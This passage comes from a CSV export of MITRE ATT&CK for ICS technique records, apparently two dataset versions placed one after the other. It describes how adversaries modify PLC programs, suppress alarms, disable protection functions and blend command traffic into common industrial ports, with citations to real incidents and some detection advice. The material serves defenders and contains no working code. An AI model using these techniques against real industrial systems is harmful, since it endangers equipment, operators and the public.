'mitre-ics-attack', 'external_id': 'T0821'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0821,mitre-ics-attack,T0821,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Modify Controller Tasking,"Adversaries may modify the tasking of a controller to allow for the execution of their own programs. This can allow an adversary to manipulate the execution flow and behavior of a controller. According to 61131-3, the association of a Task with a Program Organization Unit (POU) defines a task association. An adversary may modify these associations or create new ones to manipulate the execution flow of a controller. Modification of controller tasking can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append. Tasks have properties, such as interval, frequency and priority to meet the requirements of program execution. Some controller vendors implement tasks with implicit, pre-defined properties whereas others allow for these properties to be formulated explicitly. An adversary may associate their program with tasks that have a higher priority or execute associated programs more frequently. For instance, to ensure cyclic execution of their program on a Siemens controller, an adversary may add their program to the “task”, Organization Block 1 (OB1).",attack-pattern--09a61657-46e1-439e-b3ed-3e4556a78243,attack-pattern,['execution-ics'],2021-04-13T11:15:26.506Z,2021-04-13T11:15:26.506Z,,"['Sequential event recorder', 'Controller program', 'Network protocol analysis', 'Packet capture']",,,,['Field Controller/RTU/PLC/IED'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0889', 'source_name': 'mitre-ics-attack', 'external_id': 'T0889'}, {'description': 'IEC. (2013, February 20). IEC 61131-3:2013 Programmable controllers - Part 3: Programming languages. Retrieved October 22, 2019.', 'source_name': 'IEC Programmable controllers February 2013', 'url': 'https://webstore.iec.ch/publication/4552'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'persistence-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0889,mitre-ics-attack,T0889,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Modify Program,"Adversaries may modify or add a program on a controller to affect how it interacts with the physical process, peripheral devices and other hosts on the network. Modification to controller programs can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append. Program modification encompasses the addition and modification of instructions and logic contained in Program Organization Units (POU) and similar programming elements found on controllers. This can include, for example, adding new functions to a controller, modifying the logic in existing functions and making new calls from one function to another. Some programs may allow an adversary to interact directly with the native API of the controller to take advantage of obscure features or vulnerabilities.",attack-pattern--fc5fda7e-6b2c-4457-b036-759896a2efa2,attack-pattern,['persistence-ics'],2021-04-13T11:15:26.506Z,2021-04-13T11:15:26.506Z,,"['Sequential event recorder', 'Controller program', 'Network protocol analysis', 'Packet capture']",,,,['Field Controller/RTU/PLC/IED'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0886', 'source_name': 'mitre-ics-attack', 'external_id': 'T0886'}, {'description': 'Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer. (2017, December 14). Attackers Deploy New ICS Attack Framework “TRITON” and Cause Operational Disruption to Critical Infrastructure. Retrieved January 12, 2018.', 'source_name': 'FireEye TRITON December 2017', 'url': 'https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html'}, {'description': 'Dragos. (2017, December 13). TRISIS Malware Analysis of Safety System Targeted Malware. Retrieved January 12, 2018.', 'source_name': 'Dragos TRISIS December 2017', 'url': 'https://dragos.com/blog/trisis/TRISIS-01.pdf'}, {'description': 'Joe Slowik. (2019, April 10). Implications of IT Ransomware for ICS Environments. Retrieved October 27, 2019.', 'source_name': 'Dragos IT ICS Ransomware December April 2019', 'url': 'https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'lateral-movement-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0886,mitre-ics-attack,T0886,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Remote Services,"Adversaries may leverage remote services to move between assets and network segments. These services are often used to allow operators to interact with systems remotely within the network, some examples are RDP, SMB, SSH, and other similar mechanisms. Remote services could be used to support remote access, data transmission, authentication, name resolution, and other remote functions. Further, remote services may be necessary to allow operators and administrators to configure systems within the network from their engineering or management workstations. An adversary may use this technique to access devices which may be dual-homed to multiple network segments, and can be used for Program Download or to execute attacks on control devices directly through Valid Accounts. Specific remote services (RDP & VNC) may be a precursor to enable Graphical User Interface execution on devices such as HMIs or engineering workstation software.",attack-pattern--e1f9cdd2-9511-4fca-90d7-f3e92cfdd0bf,attack-pattern,"['initial-access-ics', 'lateral-movement-ics']",2021-04-12T19:26:26.506Z,2021-04-12T19:26:26.506Z,,"['Windows event logs', 'Authentication logs']",,,,"['Windows', 'Human-Machine Interface', 'Control Server', 'Engineering Workstation']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0837', 'source_name': 'mitre-ics-attack', 'external_id': 'T0837'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0837,mitre-ics-attack,T0837,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Loss of Protection,"Adversaries may compromise protective system functions designed to prevent the effects of faults and abnormal conditions. This can result in equipment damage, prolonged process disruptions and hazards to personnel. Many faults and abnormal conditions in process control happen too quickly for a human operator to react to. Speed is critical in correcting these conditions to limit serious impacts such as Loss of Control and Property Damage. Adversaries may target and disable protective system functions as a prerequisite to subsequent attack execution or to allow for future faults and abnormal conditions to go unchecked. Detection of a Loss of Protection by operators can result in the shutdown of a process due to strict policies regarding protection systems. This can cause a Loss of Productivity and Revenue and may meet the technical goals of adversaries seeking to cause process disruptions.",attack-pattern--2bb4d762-bf4a-4bc3-9318-15cc6a354163,attack-pattern,['impact-ics'],2021-04-12T07:57:26.506Z,2021-04-12T07:57:26.506Z,,,,,,['Windows'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0878', 'source_name': 'mitre-ics-attack', 'external_id': 'T0878'}, {'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'source_name': 'Maroochy - MITRE - 200808', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}, {'description': 'Jos Wetzels, Marina Krotofil. (2019). A Diet of Poisoned Fruit: Designing Implants & OT Payloads for ICS Embedded Devices. Retrieved November 1, 2019.', 'source_name': 'References - Secura - 2019', 'url': 'https://troopers.de/downloads/troopers19/TROOPERS19%20NGI%20IoT%20diet%20poisoned%20fruit.pdf'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0878,mitre-ics-attack,T0878,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Alarm Suppression,"Adversaries may target protection function alarms to prevent them from notifying operators of critical conditions. Alarm messages may be a part of an overall reporting system and of particular interest for adversaries. Disruption of the alarm system does not imply the disruption of the reporting system as a whole. +In the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system. (Citation: Maroochy - MITRE - 200808)",['initial-access-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0864,mitre-ics-attack,T0864,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Flows', 'Network Traffic: Network Connections', 'Assets: Asset Inventory']",,,,,['Engineering Workstation'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'discovery-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0888', 'external_id': 'T0888'}]",,attack-pattern,attack-pattern--2fedbe69-581f-447d-8a78-32ee7db939a9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-04-13T12:45:26.506Z,2021-10-08T15:25:32.143Z,Remote System Information Discovery,"An adversary may attempt to get detailed information about remote systems and their peripherals, such as make/model, role, and configuration. Adversaries may use information from Remote System Information Discovery to aid in targeting and shaping follow-on behaviors. For example, the system’s operational role and model information can dictate whether it is a relevant target for the adversary’s operational objectives. In addition, the system’s configuration may be used to scope subsequent technique usage. Requests for system information are typically implemented using automation and management protocols and are often automatically requested by vendor software during normal operation. This information may be used to tailor management actions, such as program download and system or module firmware. An adversary may leverage this same information by issuing calls directly to the system’s API.",['discovery-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0888,mitre-ics-attack,T0888,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content']",,,,,"['Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0834', 'external_id': 'T0834'}, {'source_name': 'EAttack Native API', 'description': 'The MITRE Corporation. (2017, May 31). ATT&CK T1106: Native API. Retrieved April 26, 2021.', 'url': 'https://attack.mitre.org/techniques/T1106/'}]",,attack-pattern,attack-pattern--b52870cc-83f3-473c-b895-72d91751030b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-04-13T12:36:26.506Z,2021-10-08T15:25:32.143Z,Native API,"Adversaries may directly interact with the native OS application programming interface (API) to access system functions. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: EAttack Native API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations. Functionality provided by native APIs are often also exposed to user-mode applications via interfaces and libraries. For example, functions such as memcpy and direct operations on memory registers can be used to modify user and system memory space.",['execution-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0834,mitre-ics-attack,T0834,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Process: OS API Execution'],,,,,"['Control Server', 'Data Historian', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface', 'Input/Output Server', 'Safety Instrumented System/Protection Relay']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'privilege-escalation-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0890', 'external_id': 'T0890'}, {'source_name': 'ATT&CK Exploitation for Privilege Escalation', 'description': 'The MITRE Corporation. (n.d.). ATT&CK T1068: Exploitation for Privilege Escalation. Retrieved April 12, 2021.', 'url': 'https://attack.mitre.org/techniques/T1068/'}]",,attack-pattern,attack-pattern--cfe68e93-ce94-4c0f-a57d-3aa72cedd618,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-04-13T12:08:26.506Z,2021-10-08T15:25:32.143Z,Exploitation for Privilege Escalation,"Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.",['privilege-escalation-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0890,mitre-ics-attack,T0890,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Process: OS API Execution'],,,,,"['Human-Machine Interface', 'Safety Instrumented System/Protection Relay']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'persistence-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0889', 'external_id': 'T0889'}, {'source_name': 'IEC Programmable controllers February 2013', 'description': 'IEC. (2013, February 20). IEC 61131-3:2013 Programmable controllers - Part 3: Programming languages. Retrieved October 22, 2019.', 'url': 'https://webstore.iec.ch/publication/4552'}]",,attack-pattern,attack-pattern--fc5fda7e-6b2c-4457-b036-759896a2efa2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-04-13T11:15:26.506Z,2021-10-08T15:25:32.143Z,Modify Program,"Adversaries may modify or add a program on a controller to affect how it interacts with the physical process, peripheral devices and other hosts on the network. Modification to controller programs can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append. Program modification encompasses the addition and modification of instructions and logic contained in Program Organization Units (POU) and similar programming elements found on controllers. This can include, for example, adding new functions to a controller, modifying the logic in existing functions and making new calls from one function to another. Some programs may allow an adversary to interact directly with the native API of the controller to take advantage of obscure features or vulnerabilities.",['persistence-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0889,mitre-ics-attack,T0889,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Modification', 'Asset: Software/Firmware']",,,,,['Field Controller/RTU/PLC/IED'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0821', 'external_id': 'T0821'}]",,attack-pattern,attack-pattern--09a61657-46e1-439e-b3ed-3e4556a78243,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-04-13T11:15:26.506Z,2021-10-08T15:25:32.143Z,Modify Controller Tasking,"Adversaries may modify the tasking of a controller to allow for the execution of their own programs. This can allow an adversary to manipulate the execution flow and behavior of a controller. According to 61131-3, the association of a Task with a Program Organization Unit (POU) defines a task association. An adversary may modify these associations or create new ones to manipulate the execution flow of a controller. Modification of controller tasking can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append. Tasks have properties, such as interval, frequency and priority to meet the requirements of program execution. Some controller vendors implement tasks with implicit, pre-defined properties whereas others allow for these properties to be formulated explicitly. An adversary may associate their program with tasks that have a higher priority or execute associated programs more frequently. For instance, to ensure cyclic execution of their program on a Siemens controller, an adversary may add their program to the “task”, Organization Block 1 (OB1).",['execution-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0821,mitre-ics-attack,T0821,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Modification', 'Asset: Software/Firmware']",,,,,['Field Controller/RTU/PLC/IED'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'lateral-movement-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0886', 'external_id': 'T0886'}, {'source_name': 'FireEye TRITON December 2017', 'description': 'Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer. (2017, December 14). Attackers Deploy New ICS Attack Framework “TRITON” and Cause Operational Disruption to Critical Infrastructure. Retrieved January 12, 2018.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html'}, {'source_name': 'Dragos TRISIS December 2017', 'description': 'Dragos. (2017, December 13). TRISIS Malware Analysis of Safety System Targeted Malware. Retrieved January 12, 2018.', 'url': 'https://dragos.com/blog/trisis/TRISIS-01.pdf'}, {'source_name': 'Dragos IT ICS Ransomware December April 2019', 'description': 'Joe Slowik. (2019, April 10). Implications of IT Ransomware for ICS Environments. Retrieved October 27, 2019.', 'url': 'https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/'}, {'source_name': 'Oldsmar Water Treatment Attack Feb 2021', 'description': 'Pinellas County Sheriff’s Office. (2021, February 8). Treatment Plant Intrusion Press Conference. Retrieved October 8, 2021.', 'url': 'https://www.youtube.com/watch?v=MkXDSOgLQ6M'}, {'source_name': 'CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021', 'description': 'ONG2011 - DHS Advisory - Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA). (2021, July 20). Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013. Retrieved October 8, 2021.', 'url': 'https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf'}]",,attack-pattern,attack-pattern--e1f9cdd2-9511-4fca-90d7-f3e92cfdd0bf,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-04-12T19:26:26.506Z,2021-10-08T15:25:32.143Z,Remote Services,"Adversaries may leverage remote services to move between assets and network segments. These services are often used to allow operators to interact with systems remotely within the network, some examples are RDP, SMB, SSH, and other similar mechanisms. Remote services could be used to support remote access, data transmission, authentication, name resolution, and other remote functions. Further, remote services may be necessary to allow operators and administrators to configure systems within the network from their engineering or management workstations. An adversary may use this technique to access devices which may be dual-homed to multiple network segments, and can be used for Program Download or to execute attacks on control devices directly through Valid Accounts. Specific remote services (RDP & VNC) may be a precursor to enable Graphical User Interface execution on devices such as HMIs or engineering workstation software. In the Oldsmar water treatment attack, adversaries gained access to the system through remote access software, allowing for the use of the standard operator HMI interface.(Citation: Oldsmar Water Treatment Attack Feb 2021) Based on incident data, CISA and FBI assessed that Chinese state-sponsored actors also compromised various authorized remote access channels, including systems designed to transfer data and/or allow access between corporate and ICS networks.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021)","['initial-access-ics', 'lateral-movement-ics']",https://collaborate.mitre.org/attackics/index.php/Technique/T0886,mitre-ics-attack,T0886,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Logon Session: Logon Session Creation', 'Network Share: Network Share Access', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Process: Process Creation']",,,,,"['Human-Machine Interface', 'Control Server', 'Engineering Workstation']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0837', 'external_id': 'T0837'}]",,attack-pattern,attack-pattern--2bb4d762-bf4a-4bc3-9318-15cc6a354163,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-04-12T07:57:26.506Z,2021-04-12T07:57:26.506Z,Loss of Protection,"Adversaries may compromise protective system functions designed to prevent the effects of faults and abnormal conditions. This can result in equipment damage, prolonged process disruptions and hazards to personnel. Many faults and abnormal conditions in process control happen too quickly for a human operator to react to. Speed is critical in correcting these conditions to limit serious impacts such as Loss of Control and Property Damage. Adversaries may target and disable protective system functions as a prerequisite to subsequent attack execution or to allow for future faults and abnormal conditions to go unchecked. Detection of a Loss of Protection by operators can result in the shutdown of a process due to strict policies regarding protection systems. This can cause a Loss of Productivity and Revenue and may meet the technical goals of adversaries seeking to cause process disruptions.",['impact-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0837,mitre-ics-attack,T0837,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['None'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0878', 'external_id': 'T0878'}, {'source_name': 'Maroochy - MITRE - 200808', 'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}, {'source_name': 'References - Secura - 2019', 'description': 'Jos Wetzels, Marina Krotofil. (2019). A Diet of Poisoned Fruit: Designing Implants & OT Payloads for ICS Embedded Devices. Retrieved November 1, 2019.', 'url': 'https://troopers.de/downloads/troopers19/TROOPERS19%20NGI%20IoT%20diet%20poisoned%20fruit.pdf'}]",,attack-pattern,attack-pattern--2900bbd8-308a-4274-b074-5b8bde8347bc,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T13:04:01.612Z,Alarm Suppression,"Adversaries may target protection function alarms to prevent them from notifying operators of critical conditions. Alarm messages may be a part of an overall reporting system and of particular interest for adversaries. Disruption of the alarm system does not imply the disruption of the reporting system as a whole. In the Maroochy Attack, the adversary suppressed alarm reporting to the central computer. (Citation: Maroochy - MITRE - 200808) @@ -4390,99 +4017,102 @@ A Secura presentation on targeting OT notes a dual fold goal for adversaries att * An alarm signaled with I/O * An alarm bit set in a flag (and read) -In ICS environments, the adversary may have to suppress or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. (Citation: References - Secura - 2019) Methods of suppression may involve tampering or altering device displays and logs, modifying in memory code to fixed values, or even tampering with assembly level instruction code.",attack-pattern--2900bbd8-308a-4274-b074-5b8bde8347bc,attack-pattern,['inhibit-response-function'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Alarm history', 'Alarm thresholds', 'Network protocol analysis', 'Packet capture']","['Marina Krotofil', 'Jos Wetzels - Midnight Blue']",,,"['Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0806', 'source_name': 'mitre-ics-attack', 'external_id': 'T0806'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impair-process-control'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0806,mitre-ics-attack,T0806,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Brute Force I/O,"Adversaries may brute force I/O addresses on a device and attempt to exhaustively perform an action. By enumerating the full range of I/O addresses, an adversary may manipulate a process function without having to target specific I/O interfaces. More than one process function manipulation and enumeration pass may occur on the targeted I/O range in a brute force attempt.",attack-pattern--8e7089d3-fba2-44f8-94a8-9a79c53920c4,attack-pattern,['impair-process-control'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Alarm history', 'Sequential event recorder', 'Data historian', 'Netflow/Enclave netflow', 'Network protocol analysis', 'Packet capture']",,,,"['Control Server', 'Field Controller/RTU/PLC/IED']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0884', 'source_name': 'mitre-ics-attack', 'external_id': 'T0884'}, {'description': 'Enterprise ATT&CK. (2018, January 11). Connection Proxy. Retrieved May 17, 2018.', 'source_name': 'EAttack Connection Proxy', 'url': 'https://attack.mitre.org/wiki/Technique/T1090'}, {'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2', 'url': 'https://www.cpni.gov.uk/Documents/Publications/2014/2014-04-23-c2-report-birmingham.pdf'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'command-and-control-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0884,mitre-ics-attack,T0884,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Connection Proxy,"Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications. +In ICS environments, the adversary may have to suppress or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. (Citation: References - Secura - 2019) Methods of suppression may involve tampering or altering device displays and logs, modifying in memory code to fixed values, or even tampering with assembly level instruction code.",['inhibit-response-function'],https://collaborate.mitre.org/attackics/index.php/Technique/T0878,mitre-ics-attack,T0878,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Marina Krotofil', 'Jos Wetzels - Midnight Blue']","['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'Operational Databases: Process History/Live Data', 'Operational Databases: Process/Event Alarm']",,,,,"['Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay', 'Device Configuration/Parameters']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impair-process-control'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0806', 'external_id': 'T0806'}]",,attack-pattern,attack-pattern--8e7089d3-fba2-44f8-94a8-9a79c53920c4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-14T13:04:01.612Z,Brute Force I/O,"Adversaries may repetitively or successively change I/O point values to perform an action. Brute Force I/O may be achieved by changing either a range of I/O point values or a single point value repeatedly to manipulate a process function. The adversary’s goal and the information they have about the target environment will influence which of the options they choose. In the case of brute forcing a range of point values, the adversary may be able to achieve an impact without targeting a specific point. In the case where a single point is targeted, the adversary may be able to generate instability on the process function associated with that particular point. -The definition of a proxy can also be expanded to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other. - -The network may be within a single organization or across multiple organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. (Citation: EAttack Connection Proxy) - -Detection: Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious. +Adversaries may use Brute Force I/O to cause failures within various industrial processes. These failures could be the result of wear on equipment, or damage to downstream equipment.",['impair-process-control'],https://collaborate.mitre.org/attackics/index.php/Technique/T0806,mitre-ics-attack,T0806,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'Operational Databases: Process History/Live Data']",,,,,"['Control Server', 'Field Controller/RTU/PLC/IED']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'command-and-control-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0885', 'external_id': 'T0885'}]",,attack-pattern,attack-pattern--e6c31185-8040-4267-83d3-b217b8a92f07,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T13:04:01.612Z,Commonly Used Port,"Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend in with normal network activity, to avoid more detailed inspection. They may use the protocol associated with the port, or a completely different protocol. They may use commonly open ports, such as the examples provided below. +* TCP:80 (HTTP) +* TCP:443 (HTTPS) +* TCP/UDP:53 (DNS) +* TCP:1024-4999 (OPC on XP/Win2k3) +* TCP:49152-65535 (OPC on Vista and later) +* TCP:23 (TELNET) +* UDP:161 (SNMP) +* TCP:502 (MODBUS) +* TCP:102 (S7comm/ISO-TSAP) +* TCP:20000 (DNP3) +* TCP:44818 (Ethernet/IP) -Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",attack-pattern--d67adac8-e3b9-44f9-9e6d-6c2a7d69dbe4,attack-pattern,['command-and-control-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Process use of network', 'Process monitoring', 'Packet capture', 'Netflow/Enclave netflow', 'Network protocol analysis']",,,,['Windows'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0811', 'source_name': 'mitre-ics-attack', 'external_id': 'T0811'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0811,mitre-ics-attack,T0811,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Data from Information Repositories,"Adversaries may target and collect data from information repositories. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes. Examples of information repositories include reference databases or local machines in the process environment, as well as workstations and databases in the corporate network that might contain information about the ICS. Information collected from these systems may provide the adversary with a better understanding of the operational environment, vendors used, processes, or procedures of the ICS.",attack-pattern--3405891b-16aa-4bd7-bd7c-733501f9b20f,attack-pattern,['collection-ics'],2021-04-12T16:35:26.506Z,2020-05-21T17:43:26.506Z,,"['Application logs', 'Authentication logs', 'Data loss prevention', 'Third-party application logs']",,,,"['Control Server', 'Data Historian', 'Engineering Workstation', 'Human-Machine Interface']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0868', 'source_name': 'mitre-ics-attack', 'external_id': 'T0868'}, {'description': 'N.A.. (2017, October). What are the different operating modes in PLC?. Retrieved January 28, 2021.', 'source_name': 'ForumAutomation PLC Operating Modes October 2017', 'url': 'https://forumautomation.com/t/what-are-the-different-operating-modes-in-plc/2489'}, {'description': 'Omron. (n.d.). PLC Different Operating Modes. Retrieved January 28, 